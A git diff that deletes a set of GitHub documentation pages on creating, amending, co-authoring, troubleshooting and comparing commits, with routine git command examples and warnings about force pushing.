---- -## About commits - -{% data reusables.commits.about-commits %} - -If the repository you are committing to has compulsory commit signoffs enabled, and you are committing via the web interface, you will automatically sign off on the commit as part of the commit process. For more information, see [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-the-commit-signoff-policy-for-your-repository). - -You can add a co-author on any commits you collaborate on. For more information, see [AUTOTITLE](/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-with-multiple-authors). - -{% ifversion fpt or ghec %} -You can also create a commit on behalf of an organization. For more information, see [AUTOTITLE](/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-on-behalf-of-an-organization).{% endif %} - -Rebasing allows you to change a series of commits and can modify the order of the commits in your timeline. For more information, see [AUTOTITLE](/get-started/using-git/about-git-rebase). - -## About commit branches and tag labels - -You can see which branch a commit is on by looking at the labels beneath the commit on the commit page. - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.navigate-to-commit-page %} -{% data reusables.repositories.navigate-to-commit %} -1. To see what branch the commit is on, check the label below the commit message. - - ![Screenshot of a commit summary. A branch icon and "main" are highlighted with an orange outline.](/assets/images/help/commits/commit-branch-indicator.png) - -If your commit is not on the default branch (`main`), the label will show the branches which contain the commit. If the commit is part of an unmerged pull request, you can click the link to go to the pull request. - -Once the commit is on the default branch, any tags that contain the commit will be shown and the default branch will be the only branch listed. For more information on tags, see [Git Basics - Tagging](https://git-scm.com/book/en/v2/Git-Basics-Tagging) in the Git documentation. - -![Screenshot of a commit summary. The tag icon and "v2.3.4" are highlighted with an orange outline.](/assets/images/help/commits/commit-tag-label.png) - -## Using the file tree - -You can use the file tree to navigate between files in a commit. - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.navigate-to-commit-page %} -{% data reusables.repositories.navigate-to-commit %} -1. Click on a file in the file tree to view the corresponding file diff. If the file tree is hidden, click {% octicon "sidebar-collapse" aria-label="The sidebar collapse icon" %} to display the file tree. - - > [!NOTE] - > The file tree will not display if your screen width is too narrow or if the commit only includes one file. - - ![Screenshot of the "Files changed" tab of a pull request. In the left sidebar, the file tree is outlined in dark orange.](/assets/images/help/repository/file-tree.png) -1. To filter by file path, enter part or all of the file path in the **Filter changed files** search box. - -## Further reading - -* [AUTOTITLE](/desktop/making-changes-in-a-branch/committing-and-reviewing-changes-to-your-project-in-github-desktop#about-commits) on {% data variables.product.prodname_desktop %} diff --git a/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/changing-a-commit-message.md b/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/changing-a-commit-message.md deleted file mode 100644 index 4e6dca6f92e7..000000000000 --- a/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/changing-a-commit-message.md +++ /dev/null @@ -1,117 +0,0 @@ ---- -title: Changing a commit message -redirect_from: - - /articles/can-i-delete-a-commit-message - - /articles/changing-a-commit-message - - /github/committing-changes-to-your-project/changing-a-commit-message - - /github/committing-changes-to-your-project/creating-and-editing-commits/changing-a-commit-message -intro: 'If a commit message contains unclear, incorrect, or sensitive information, you can amend it locally and push a new commit with a new message to {% data variables.product.github %}. You can also change a commit message to add missing information.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' ---- -## Rewriting the most recent commit message - -You can change the most recent commit message using the `git commit --amend` command. - -In Git, the text of the commit message is part of the commit. Changing the commit message will change the commit ID—i.e., the SHA1 checksum that names the commit. Effectively, you are creating a new commit that replaces the old one. - -## Commit has not been pushed online - -If the commit only exists in your local repository and has not been pushed to {% data variables.location.product_location %}, you can amend the commit message with the `git commit --amend` command. - -1. On the command line, navigate to the repository that contains the commit you want to amend. -1. Type `git commit --amend` and press **Enter**. -1. In your text editor, edit the commit message, and save the commit. - * You can add a co-author by adding a trailer to the commit. For more information, see [AUTOTITLE](/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-with-multiple-authors). -{% ifversion fpt or ghec %} - * You can create commits on behalf of your organization by adding a trailer to the commit. For more information, see [AUTOTITLE](/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-on-behalf-of-an-organization). -{% endif %} - -The new commit and message will appear on {% data variables.location.product_location %} the next time you push. - -> [!TIP] -> You can change the default text editor for Git by changing the `core.editor` setting. For more information, see [Basic Client Configuration](https://git-scm.com/book/en/v2/Customizing-Git-Git-Configuration#_basic_client_configuration) in the Git manual. - -## Amending older or multiple commit messages - -If you have already pushed the commit to {% data variables.location.product_location %}, you will have to force push a commit with an amended message. - -> [!WARNING] -> We strongly discourage force pushing, since this changes the history of your repository. If you force push, people who have already cloned your repository will have to manually fix their local history. For more information, see [Recovering from upstream rebase](https://git-scm.com/docs/git-rebase#_recovering_from_upstream_rebase) in the Git manual. - -**Changing the message of the most recently pushed commit** - -1. Follow the [steps above](/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/changing-a-commit-message#commit-has-not-been-pushed-online) to amend the commit message. -1. Use the `push --force-with-lease` command to force push over the old commit. - - ```shell - git push --force-with-lease origin EXAMPLE-BRANCH - ``` - -**Changing the message of older or multiple commit messages** - -If you need to amend the message for multiple commits or an older commit, you can use interactive rebase, then force push to change the commit history. - -1. On the command line, navigate to the repository that contains the commit you want to amend. -1. Use the `git rebase -i HEAD~n` command to display a list of the last `n` commits in your default text editor. - - ```shell - # Displays a list of the last 3 commits on the current branch - $ git rebase -i HEAD~3 - ``` - - The list will look similar to the following: - - ```shell - pick e499d89 Delete CNAME - pick 0c39034 Better README - pick f7fde4a Change the commit message but push the same commit. - - # Rebase 9fdb3bd..f7fde4a onto 9fdb3bd - # - # Commands: - # p, pick = use commit - # r, reword = use commit, but edit the commit message - # e, edit = use commit, but stop for amending - # s, squash = use commit, but meld into previous commit - # f, fixup = like "squash", but discard this commit's log message - # x, exec = run command (the rest of the line) using shell - # - # These lines can be re-ordered; they are executed from top to bottom. - # - # If you remove a line here THAT COMMIT WILL BE LOST. - # - # However, if you remove everything, the rebase will be aborted. - # - # Note that empty commits are commented out - ``` - -1. Replace `pick` with `reword` before each commit message you want to change. - - ```shell - pick e499d89 Delete CNAME - reword 0c39034 Better README - reword f7fde4a Change the commit message but push the same commit. - ``` - -1. Save and close the commit list file. -1. In each resulting commit file, type the new commit message, save the file, and close it. -1. When you're ready to push your changes to GitHub, use the push --force command to force push over the old commit. - - ```shell - git push --force origin EXAMPLE-BRANCH - ``` - -For more information on interactive rebase, see [Interactive mode](https://git-scm.com/docs/git-rebase#_interactive_mode) in the Git manual. - -> [!NOTE] -> As before, amending the commit message will result in a new commit with a new ID. However, in this case, every commit that follows the amended commit will also get a new ID because each commit also contains the ID of its parent. - -> [!WARNING] -> If you have included sensitive information in a commit message, force pushing a commit with an amended commit may not remove the original commit from {% data variables.product.github %}. The old commit will not be a part of a subsequent clone; however, it may still be cached on {% data variables.product.github %} and accessible via the commit ID. You must contact {% data variables.contact.contact_support %} with the old commit ID to have it purged from the remote repository. - -## Further reading - -* [AUTOTITLE](/authentication/managing-commit-signature-verification/signing-commits) diff --git a/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-on-behalf-of-an-organization.md b/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-on-behalf-of-an-organization.md deleted file mode 100644 index 83c7b359b7f4..000000000000 --- a/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-on-behalf-of-an-organization.md +++ /dev/null @@ -1,65 +0,0 @@ ---- -title: Creating a commit on behalf of an organization -intro: 'You can create commits on behalf of an organization by adding a trailer to the commit''s message. Commits attributed to an organization include an `on-behalf-of` badge on {% data variables.product.github %}.' -redirect_from: - - /articles/creating-a-commit-on-behalf-of-an-organization - - /github/committing-changes-to-your-project/creating-a-commit-on-behalf-of-an-organization - - /github/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-on-behalf-of-an-organization -versions: - fpt: '*' - ghec: '*' -shortTitle: On behalf of an organization ---- - -To create commits on behalf of an organization: - -* You must be a member of the organization indicated in the trailer. -* You must sign the commit. -* Your commit email and the organization email must be in a domain verified by the organization. -* Your commit message must end with the commit trailer `on-behalf-of: @org `. - * `org` is the organization's login. - * `name@organization.com` is in the organization's domain. - -Organizations can use the `name@organization.com` email as a public point of contact for open source efforts. - -## Creating commits with an `on-behalf-of` badge on the command line - -1. Type your commit message and a short, meaningful description of your changes. After your commit description, instead of a closing quotation, add two empty lines. - - ```shell - $ git commit -m "Refactor usability tests. - > - > - ``` - - > [!TIP] - > If you're using a text editor on the command line to type your commit message, ensure there are two newlines between the end of your commit description and the `on-behalf-of:` commit trailer. - -1. On the next line of the commit message, type `on-behalf-of: @org `, then a closing quotation mark. - - ```shell - $ git commit -m "Refactor usability tests. - > - > - on-behalf-of: @ORG NAME@ORGANIZATION.COM" - ``` - -The new commit, message, and badge will appear on {% data variables.product.prodname_dotcom %} the next time you push. For more information, see [AUTOTITLE](/get-started/using-git/pushing-commits-to-a-remote-repository). - -## Creating commits with an `on-behalf-of` badge on {% data variables.product.github %} - -After you've made changes in a file using the web editor on {% data variables.product.github %}, you can create a commit on behalf of your organization by adding an `on-behalf-of:` trailer to the commit's message. - -1. Click **Commit changes...** -1. In the "Commit message" field, type a short, meaningful commit message that describes the changes you made. -1. In the text box below your commit message, add `on-behalf-of: @org `. -1. Click **Commit changes** or **Propose changes**. - -The new commit, message, and badge will appear on {% data variables.product.prodname_dotcom %}. - -## Further reading - -* [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/viewing-contributions-on-your-profile) -* [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/why-are-my-contributions-not-showing-up-on-my-profile) -* [AUTOTITLE](/repositories/viewing-activity-and-data-for-your-repository/viewing-a-projects-contributors) -* [AUTOTITLE](/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/changing-a-commit-message) diff --git a/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-with-multiple-authors.md b/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-with-multiple-authors.md deleted file mode 100644 index 284cf71e49d7..000000000000 --- a/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-with-multiple-authors.md +++ /dev/null @@ -1,82 +0,0 @@ ---- -title: Creating a commit with multiple authors -intro: 'You can attribute a commit to more than one author by adding one or more `Co-authored-by` trailers to the commit''s message. Co-authored commits are visible on {% data variables.product.github %}{% ifversion ghes %} and can be included in the profile contributions graph and the repository''s statistics{% endif %}.' -redirect_from: - - /articles/creating-a-commit-with-multiple-authors - - /github/committing-changes-to-your-project/creating-a-commit-with-multiple-authors - - /github/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-with-multiple-authors -versions: - fpt: '*' - ghes: '*' - ghec: '*' -shortTitle: With multiple authors ---- -## Required co-author information - -Before you can add a co-author to a commit, you must know the appropriate email to use for each co-author. For the co-author's commit to count as a contribution, you must use the email associated with their account on {% data variables.location.product_location %}. - -{% ifversion fpt or ghec %} - -If a person chooses to keep their email address private, you should use their {% data variables.product.github %}-provided `no-reply` email to protect their privacy. Otherwise, the co-author's email will be available to the public in the commit message. If you want to keep your email private, you can choose to use a {% data variables.product.github %}-provided `no-reply` email for Git operations and ask other co-authors to list your `no-reply` email in commit trailers. - -For more information, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/setting-your-commit-email-address). - -> [!TIP] -> You can help a co-author find their preferred email address by sharing this information: -> * To find your {% data variables.product.github %}-provided `no-reply` email, navigate to your email settings page under "Keep my email address private." -> * To find the email you used to configure Git on your computer, run `git config user.email` on the command line. - -{% endif %} - -## Creating co-authored commits using {% data variables.product.prodname_desktop %} - -You can use {% data variables.product.prodname_desktop %} to create a commit with a co-author. For more information, see [AUTOTITLE](/desktop/making-changes-in-a-branch/committing-and-reviewing-changes-to-your-project-in-github-desktop#write-a-commit-message-and-push-your-changes) and [{% data variables.product.prodname_desktop %}](https://desktop.github.com). - -## Creating co-authored commits on the command line - -{% data reusables.pull_requests.collect-co-author-commit-git-config-info %} - -1. Type your commit message and a short, meaningful description of your changes. After your commit description, instead of a closing quotation, add an empty line. - - ```shell - $ git commit -m "Refactor usability tests. - > - > - ``` - - > [!TIP] - > If you're using a text editor on the command line to type your commit message, ensure there is a blank line (two consecutive newlines) between the end of your commit description and the `Co-authored-by:` commit trailer. - -1. On the next line of the commit message, type `Co-authored-by: name ` with specific information for each co-author. After the co-author information, add a closing quotation mark. - - If you're adding multiple co-authors, give each co-author their own line and `Co-authored-by:` commit trailer. Do not add blank lines between each co-author line. - - ```shell - $ git commit -m "Refactor usability tests. - > - > Co-authored-by: NAME - > Co-authored-by: ANOTHER-NAME " - ``` - -The new commit and message will appear on {% data variables.location.product_location %} the next time you push. For more information, see [AUTOTITLE](/get-started/using-git/pushing-commits-to-a-remote-repository). - -## Creating co-authored commits on {% data variables.product.github %} - -After you've made changes in a file using the web editor on {% data variables.product.github %}, you can create a co-authored commit by adding a `Co-authored-by:` trailer to the commit's message. - -{% data reusables.pull_requests.collect-co-author-commit-git-config-info %} -1. Click **Commit changes...** -1. In the "Commit message" field, type a short, meaningful commit message that describes the changes you made. -1. In the text box below your commit message, add `Co-authored-by: name ` with specific information for each co-author. If you're adding multiple co-authors, give each co-author their own line and `Co-authored-by:` commit trailer. -1. Click **Commit changes** or **Propose changes**. - -The new commit and message will appear on {% data variables.location.product_location %}. - -## Further reading - -{% ifversion ghes %} -* [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/viewing-contributions-on-your-profile) -* [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/why-are-my-contributions-not-showing-up-on-my-profile){% endif %} -* [AUTOTITLE](/repositories/viewing-activity-and-data-for-your-repository/viewing-a-projects-contributors) -* [AUTOTITLE](/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/changing-a-commit-message) -* [AUTOTITLE](/desktop/making-changes-in-a-branch/committing-and-reviewing-changes-to-your-project-in-github-desktop#4-write-a-commit-message-and-push-your-changes) in the {% data variables.product.prodname_desktop %} documentation diff --git a/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/index.md b/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/index.md deleted file mode 100644 index e2b3c15ee67e..000000000000 --- a/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/index.md +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: Creating and editing commits -intro: '' -redirect_from: - - /articles/creating-and-editing-commits - - /github/committing-changes-to-your-project/creating-and-editing-commits -versions: - fpt: '*' - ghes: '*' - ghec: '*' -children: - - /about-commits - - /creating-a-commit-with-multiple-authors - - /creating-a-commit-on-behalf-of-an-organization - - /changing-a-commit-message -shortTitle: Create & edit commits ---- - diff --git a/content/pull-requests/committing-changes-to-your-project/index.md b/content/pull-requests/committing-changes-to-your-project/index.md deleted file mode 100644 index 5670a0f729fe..000000000000 --- a/content/pull-requests/committing-changes-to-your-project/index.md +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: Committing changes to your project -intro: You can manage code changes in a repository by grouping work into commits. -redirect_from: - - /categories/21/articles - - /categories/commits - - /categories/committing-changes-to-your-project - - /github/committing-changes-to-your-project -versions: - fpt: '*' - ghes: '*' - ghec: '*' -children: - - /creating-and-editing-commits - - /viewing-and-comparing-commits - - /troubleshooting-commits -shortTitle: Commit changes to your project ---- diff --git a/content/pull-requests/committing-changes-to-your-project/troubleshooting-commits/commit-exists-on-github-but-not-in-my-local-clone.md b/content/pull-requests/committing-changes-to-your-project/troubleshooting-commits/commit-exists-on-github-but-not-in-my-local-clone.md deleted file mode 100644 index 790fda044ade..000000000000 --- a/content/pull-requests/committing-changes-to-your-project/troubleshooting-commits/commit-exists-on-github-but-not-in-my-local-clone.md +++ /dev/null @@ -1,88 +0,0 @@ ---- -title: Commit exists on GitHub but not in my local clone -intro: 'Sometimes a commit will be viewable on {% data variables.product.github %}, but will not exist in your local clone of the repository.' -redirect_from: - - /articles/commit-exists-on-github-but-not-in-my-local-clone - - /github/committing-changes-to-your-project/commit-exists-on-github-but-not-in-my-local-clone - - /github/committing-changes-to-your-project/troubleshooting-commits/commit-exists-on-github-but-not-in-my-local-clone -versions: - fpt: '*' - ghes: '*' - ghec: '*' -shortTitle: Commit missing in local clone ---- -When you use `git show` to view a specific commit on the command line, you may get a fatal error. - -For example, you may receive a `bad object` error locally: - -```shell -$ git show 1095ff3d0153115e75b7bca2c09e5136845b5592 -> fatal: bad object 1095ff3d0153115e75b7bca2c09e5136845b5592 -``` - -However, when you view the commit on {% data variables.location.product_location %}, you'll be able to see it without any problems: - -`github.com/ACCOUNT/REPOSITORY/commit/1095ff3d0153115e75b7bca2c09e5136845b5592` - -There are several possible explanations: - -* The local repository is out of date. -* The branch that contains the commit was deleted, so the commit is no longer referenced. -* Someone force pushed over the commit. - -## The local repository is out of date - -Your local repository may not have the commit yet. To get information from your remote repository to your local clone, use `git fetch`: - -```shell -git fetch REMOTE -``` - -This safely copies information from the remote repository to your local clone without making any changes to the files you have checked out. -You can use `git fetch upstream` to get information from a repository you've forked, or `git fetch origin` to get information from a repository you've only cloned. - -> [!TIP] -> For more information, read about [managing remotes and fetching data](https://git-scm.com/book/en/v2/Git-Basics-Working-with-Remotes) in the [Pro Git](https://git-scm.com/book) book. - -## The branch that contained the commit was deleted - -If a collaborator on the repository has deleted the branch containing the commit -or has force pushed over the branch, the missing commit may have been orphaned -(i.e. it cannot be reached from any reference) and therefore will not be fetched -into your local clone. - -Fortunately, if any collaborator has a local clone of the repository with the -missing commit, they can push it back to {% data variables.product.github %}. They need to make sure the commit -is referenced by a local branch and then push it as a new branch to {% data variables.product.github %}. - -Let's say that the person still has a local branch (call it `B`) that contains -the commit. This might be tracking the branch that was force pushed or deleted -and they simply haven't updated yet. To preserve the commit, they can push that -local branch to a new branch (call it `recover-B`) on {% data variables.product.github %}. For this example, -let's assume they have a remote named `upstream` via which they have push access -to `github.com/ACCOUNT/REPOSITORY`. - -The other person runs: - -```shell -$ git branch recover-B B -# Create a new local branch referencing the commit -$ git push upstream B:recover-B -# Push local B to new upstream branch, creating new reference to commit -``` - -Now, _you_ can run: - -```shell -$ git fetch upstream recover-B -# Fetch commit into your local repository. -``` - -## Avoid force pushes - -Avoid force pushing to a repository unless absolutely necessary. This is especially true if more than one person can push to the repository. If someone force pushes to a repository, the force push may overwrite commits that other people based their work on. Force pushing changes the repository history and can corrupt pull requests. - -## Further reading - -* ["Working with Remotes" from the _Pro Git_ book](https://git-scm.com/book/en/v2/Git-Basics-Working-with-Remotes) -* ["Data Recovery" from the _Pro Git_ book](https://git-scm.com/book/en/v2/Git-Internals-Maintenance-and-Data-Recovery) diff --git a/content/pull-requests/committing-changes-to-your-project/troubleshooting-commits/index.md b/content/pull-requests/committing-changes-to-your-project/troubleshooting-commits/index.md deleted file mode 100644 index 0438b2669030..000000000000 --- a/content/pull-requests/committing-changes-to-your-project/troubleshooting-commits/index.md +++ /dev/null @@ -1,16 +0,0 @@ ---- -title: Troubleshooting commits -intro: '' -redirect_from: - - /articles/troubleshooting-commits - - /github/committing-changes-to-your-project/troubleshooting-commits -versions: - fpt: '*' - ghes: '*' - ghec: '*' -children: - - /commit-exists-on-github-but-not-in-my-local-clone - - /why-are-my-commits-linked-to-the-wrong-user - - /my-commit-is-blocked-by-push-protection ---- - diff --git a/content/pull-requests/committing-changes-to-your-project/troubleshooting-commits/my-commit-is-blocked-by-push-protection.md b/content/pull-requests/committing-changes-to-your-project/troubleshooting-commits/my-commit-is-blocked-by-push-protection.md deleted file mode 100644 index 442e11d2e32c..000000000000 --- a/content/pull-requests/committing-changes-to-your-project/troubleshooting-commits/my-commit-is-blocked-by-push-protection.md +++ /dev/null @@ -1,32 +0,0 @@ ---- -title: My commit is blocked by push protection -intro: 'To keep your repository secure, push protection prevents you from accidentally committing secrets to the repository.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -shortTitle: Commit blocked by push protection ---- - -## Understanding why push protection has blocked your commit - -Leaked secrets can pose serious security risks to your repository and your supply chain. Push protection prevents you from accidentally introducing secrets to your codebase where they could be exploited by malicious actors. - -If the repository you're contributing to on {% data variables.product.github %} is secured by push protection, you'll encounter a push protection block whenever you: - -* **Push commits** containing recognized secrets **from the command line** to the remote repository. -* **Commit changes** {% ifversion push-protection-block-uploads %}or upload files {% endif %}containing recognized secrets to a repository in the **{% data variables.product.github %} UI**. {% ifversion secret-scanning-push-protection-content-endpoints %} -* **Make certain requests** containing recognized secrets in **the REST API**.{% endif %} - -## Resolving a push protection block - -In order to resolve the block, you should remove the secret from the commit {% ifversion secret-scanning-push-protection-content-endpoints %}(or request){% endif %}. If you believe the secret is safe to push, you may be able to bypass the block. For more information on how to remove the secret or, if necessary, bypass the block, see: - -* [AUTOTITLE](/code-security/secret-scanning/working-with-secret-scanning-and-push-protection/working-with-push-protection-from-the-command-line) -* [AUTOTITLE](/code-security/secret-scanning/working-with-secret-scanning-and-push-protection/working-with-push-protection-in-the-github-ui){% ifversion secret-scanning-push-protection-content-endpoints %} -* [AUTOTITLE](/code-security/secret-scanning/working-with-secret-scanning-and-push-protection/working-with-push-protection-from-the-rest-api){% endif %} - -## Further reading - -* [AUTOTITLE](/code-security/secret-scanning/introduction/about-push-protection) -* [AUTOTITLE](/code-security/secret-scanning/introduction/supported-secret-scanning-patterns) diff --git a/content/pull-requests/committing-changes-to-your-project/troubleshooting-commits/why-are-my-commits-linked-to-the-wrong-user.md b/content/pull-requests/committing-changes-to-your-project/troubleshooting-commits/why-are-my-commits-linked-to-the-wrong-user.md deleted file mode 100644 index 2e1f02cf0efb..000000000000 --- a/content/pull-requests/committing-changes-to-your-project/troubleshooting-commits/why-are-my-commits-linked-to-the-wrong-user.md +++ /dev/null @@ -1,46 +0,0 @@ ---- -title: Why are my commits linked to the wrong user? -redirect_from: - - /articles/how-do-i-get-my-commits-to-link-to-my-github-account - - /articles/why-are-my-commits-linked-to-the-wrong-user - - /github/committing-changes-to-your-project/why-are-my-commits-linked-to-the-wrong-user - - /github/committing-changes-to-your-project/troubleshooting-commits/why-are-my-commits-linked-to-the-wrong-user -intro: '{% data variables.product.github %} uses the email address in the commit header to link the commit to a {% data variables.product.github %} user. If your commits are being linked to another user, or not linked to a user at all, you may need to change your local Git configuration settings, add an email address to your account email settings, or do both.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -shortTitle: Linked to wrong user ---- - -> [!NOTE] -> If your commits are linked to another user, that does not mean the user can access your repository. A user can only access a repository you own if you add them as a collaborator or add them to a team that has access to the repository. - -## Commits are linked to another user - -If your commits are linked to another user, that means the email address in your local Git configuration settings is connected to that user's {% data variables.product.github %} account. In this case, you can change the email in your local Git configuration settings and add the new email address to your account to link future commits. - -1. To change the email address in your local Git configuration, follow the steps in [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/setting-your-commit-email-address#setting-your-commit-email-address-in-git). If you work on multiple machines, you will need to change this setting on each one. -1. Add the email address from step 2 to your account settings by following the steps in [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/adding-an-email-address-to-your-github-account). - -Commits you make from this point forward will be linked to your account. - -## Commits are not linked to any user - -If your commits are not linked to any user, the commit author's name will not be rendered as a link to a user profile. To check the email address used for those commits and connect commits to your account, take the following steps. - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.navigate-to-commit-page %} -{% data reusables.repositories.navigate-to-commit %} -1. To read a message about why the commit is not linked, hover over the blue {% octicon "question" aria-label="Question mark" %} to the right of the username. - - * **Unrecognized author (with email address)** If you see this message with an email address, the address you used to author the commit is not connected to your {% data variables.product.github %} account. To link your commits, [add the email address to your GitHub email settings](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/adding-an-email-address-to-your-github-account). If the email address has a Gravatar associated with it, the Gravatar will be displayed next to the commit, rather than the default gray Octocat. - * **Unrecognized author (no email address)** If you see this message without an email address, you used a generic email address that can't be connected to your {% data variables.product.github %} account. You will need to [set your commit email address in Git](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/setting-your-commit-email-address), then [add the new address to your GitHub email settings](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/adding-an-email-address-to-your-github-account) to link your future commits. Old commits will not be linked. - * **Invalid email** The email address in your local Git configuration settings is either blank or not formatted as an email address. You will need to [set your commit email address in Git](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/setting-your-commit-email-address), then [add the new address to your GitHub email settings](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/adding-an-email-address-to-your-github-account) to link your future commits. Old commits will not be linked. - -> [!WARNING] -> If your local Git configuration contained a generic email address, or an email address that was already attached to another user's account, then your previous commits will not be linked to your account. While Git does allow you to change the email address used for previous commits, we strongly discourage this, especially in a shared repository. - -## Further reading - -* [AUTOTITLE](/search-github/searching-on-github/searching-commits) diff --git a/content/pull-requests/committing-changes-to-your-project/viewing-and-comparing-commits/comparing-commits.md b/content/pull-requests/committing-changes-to-your-project/viewing-and-comparing-commits/comparing-commits.md deleted file mode 100644 index 8979e7ffc4e2..000000000000 --- a/content/pull-requests/committing-changes-to-your-project/viewing-and-comparing-commits/comparing-commits.md +++ /dev/null @@ -1,73 +0,0 @@ ---- -title: Comparing commits -intro: 'You can compare the state of your repository across branches, tags, commits, forks, and dates.' -redirect_from: - - /articles/comparing-commits-across-time - - /github/committing-changes-to-your-project/comparing-commits-across-time - - /github/committing-changes-to-your-project/comparing-commits - - /github/committing-changes-to-your-project/viewing-and-comparing-commits/comparing-commits -versions: - fpt: '*' - ghes: '*' - ghec: '*' ---- -To compare different versions of your repository, append `/compare` to your repository's path. - -We'll demonstrate the power of Compare by looking at the compare page for [a fork of the Linguist repo](https://github.com/octocat/linguist), which is at [https://github.com/octocat/linguist/compare/master...octocat:master](https://github.com/octocat/linguist/compare/master...octocat:master). - -Every repository's Compare view contains two drop down menus: `base` and `compare`. - -`base` should be considered the starting point of your comparison, and `compare` is the endpoint. During a comparison, you can always change your `base` and `compare` points by clicking on **Edit**. - -## Comparing branches - -The most common use of Compare is to compare branches, such as when you're starting a new pull request. You'll always be taken to the branch comparison view when starting [a new pull request](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request). - -To compare branches, you can select a branch name from the `compare` drop down menu at the top of the page. - -Here's an example of a [comparison between two branches](https://github.com/octocat/linguist/compare/master...octocat:an-example-comparison-for-docs). - -## Comparing tags - -Comparing release tags will show you changes to your repository since the last release. -For more information, see [AUTOTITLE](/repositories/releasing-projects-on-github/comparing-releases). - -To compare tags, you can select a tag name from the `compare` drop-down menu at the top of the page. - -Here's an example of a [comparison between two tags](https://github.com/octocat/linguist/compare/v2.2.0...octocat:v2.3.3). - -> [!NOTE] -> If a branch and a tag have the same name, the branch will be used when comparing commits. You can compare the tag specifically by adding `tags/` to the tag name. - -## Comparing commits - -You can also compare two arbitrary commits in your repository or its forks on {% data variables.product.prodname_dotcom %} in a two-dot diff comparison. - -To quickly compare two commits or Git Object IDs (OIDs) directly with each other in a two-dot diff comparison on {% data variables.product.prodname_dotcom %}, edit the URL of your repository's "Comparing changes" page. - -{% data reusables.repositories.two-dot-diff-comparison-example-urls %} - -To learn more about other comparison options, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-comparing-branches-in-pull-requests#three-dot-and-two-dot-git-diff-comparisons). - -## Comparing across forks - -You can compare your base repository and any forked repository. This is the view that's presented when a user performs a Pull Request to a project. - -To compare branches on different repositories, preface the branch names with user names. For example, by specifying `octocat:main` for `base` and `octo-org:main` for `compare`, you can compare the `main` branch of the repositories respectively owned by `octocat` and `octo-org`. - -You can also preface the branch name with a user name and a repository name. For example, specifying `octocat:awesome-app:main` would use the `main` branch in the `octocat/awesome-app` repository. This can be useful in large organizations, where you might have an upstream repository and a fork both owned by the organization. For more information, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks). - -Here's an example of a [comparison between two repositories](https://github.com/github-linguist/linguist/compare/master...octocat:master). - -## Comparisons across commits - -You can compare a single commit in Git to the commit's predecessors using two types of notation. - -| Notation | Meaning | Example | Comparison | -| :-: | :- | :- | :- | -| `^` | One commit prior. Repeat the `^` character to indicate one more commit further back in the history. | `96d29b7^^^^^`

Represents the commit five commits prior to `96d29b7`. | [View comparison](https://github.com/octocat/linguist/compare/octocat:96d29b7%5E%5E%5E%5E%5E...octocat:96d29b7) | -| `~N` | N commit(s) prior. | `96d29b7~5`

